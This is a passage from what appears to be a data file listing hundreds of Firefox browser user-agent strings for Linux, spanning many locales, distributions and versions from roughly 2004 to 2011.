Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/10.04 (lucid) Firefox/4.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041020 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.13pre) Gecko/20071126 Ubuntu/dapper-security Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.8) Gecko/20061108 Fedora/1.5.0.8-1.fc5 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; Ubuntu 7.04; de-CH; rv:1.8.1.5) Gecko/20070309 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.3 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20080326 CentOS/1.5.0.12-14.el5.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060726 Red Hat/1.5.0.5-0.el4.1 Firefox/1.5.0.5 pango-text Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.1 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080716 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20090206 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); nl; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); ru; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.0.10) Gecko/20070508 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.8.0.2) Gecko/20060422 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-6.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-2.el5 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-NZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.10) Gecko/20050724 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051127 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070718 Red Hat/1.5.0.12-3.el5 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20080419 CentOS/1.5.0.12-0.15.el4.centos Firefox/1.5.0.12 pango-text Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060522 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060911 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060924 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2008.0 (2008.0) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.8 (Debian-2.0.0.12-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.13) Gecko/20080208 Mandriva/2.0.0.13-1mdv2008.1 (2008.1) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080719 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070324 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070415 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070529 SUSE/2.0.0.4-6.1 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070604 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070627 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071015 SUSE/2.0.0.8-1.1 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86-64; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-37 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061122 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061128 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061202 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051201 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051212 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 